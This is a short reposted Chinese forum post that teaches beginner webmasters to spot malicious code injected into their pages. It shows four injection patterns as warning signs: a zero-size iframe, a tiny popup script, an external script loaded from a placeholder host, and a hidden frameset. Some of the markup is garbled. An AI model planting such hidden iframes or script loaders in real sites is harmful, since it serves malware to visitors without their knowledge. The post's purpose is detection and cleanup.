[转帖]怎样发现自已站点被挂马

人走，茶凉

现在有很多的网民正慢慢步入站长的行列，加之现在的网上的自助建站系统及CMS系统有很多，只要想建站稍微懂得一些HTML语言就开始了自已的建站生涯，可是这样的小站长对现在的互联网世界还是不太了解，一心想在网上捞到自已人生中的第一桶金，可却不是那么的容易，现在的互联网不像过去的2003年，成就了多少网络英雄？
  今天我本来没有打算写这篇文章的，看到我所在的一些站长群的很多小站长经常在问我的网站被挂[wiki]马[/wiki]了，不知道怎么办！我的网站被挂马了，我的流量跌得历害，要怎么办等的求助语，刚好我也刚刚在网上知道了网页挂马的一些知识，所以在此发表一下，让不懂的小站长学习学习。
网页挂码有三种方式，具体怎么挂的，我就不多说了，网页被挂码的时候，HTML会混乱，造成前台首页参差不齐，被挂网页的网码一般有以下四种：
一：
<iframe src="网马的地址" width="0" height="0" frameborder="0"></iframe>，“width="0" height="0" frameborder="0"就是大小高度的意思”这样被挂马的网页上就不会显示出来。

二：脚本挂马

<SCRIPT language=javascript>
window.open("http://www.xxx.com/test.htm","","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,width=1,height=1");
</script>

三：这一点就是比较隐蔽的那就是使用js文件，[wiki]代码[/wiki]如下：
<script language="javascript" src="</script'>http://xxxxxxx.net/mm.js"></script>这种呢，是很难发现被挂码，但是容易造成HTML混乱

四：再一种代码就是调用其他网页的页面文件,可以将下面的代码复制，保存为HTM文件，代码如下：
<frameset rows="444,0" cols="*">
<frame src="/index.htm" framborder="no" scrolling="auto" noresize marginwidth="0" margingheight="0">
<frame src="help.htm" frameborder="no" scrolling="no" noresize marginwidth="0" margingheight="0">
</frameset>
  以上是被挂码的时候网页上会存在以上代码，那如果在检查网页是否被挂马时看到这些代码就可以证明有无挂马的现[wiki]象[/wiki]了，发现网页被挂马就把以上代码中的任一代码删除然后保存即可。

  本人不才，[wiki]水[/wiki]平较差也就只能写出这么点东东了，希望对大家有帮助！如果需要了解更多维护网站信息请到华夏黑客联盟论坛学习，本站会不定期推出各种培训，希望[wiki]中国[/wiki]的站长能够成长起来。
本文来自: 菜[wiki]鸟[/wiki]基地(www.cniao.cn) 详细出处参考：http://www.cniao.cn/viewthread.php?tid=2685&extra=page%3D1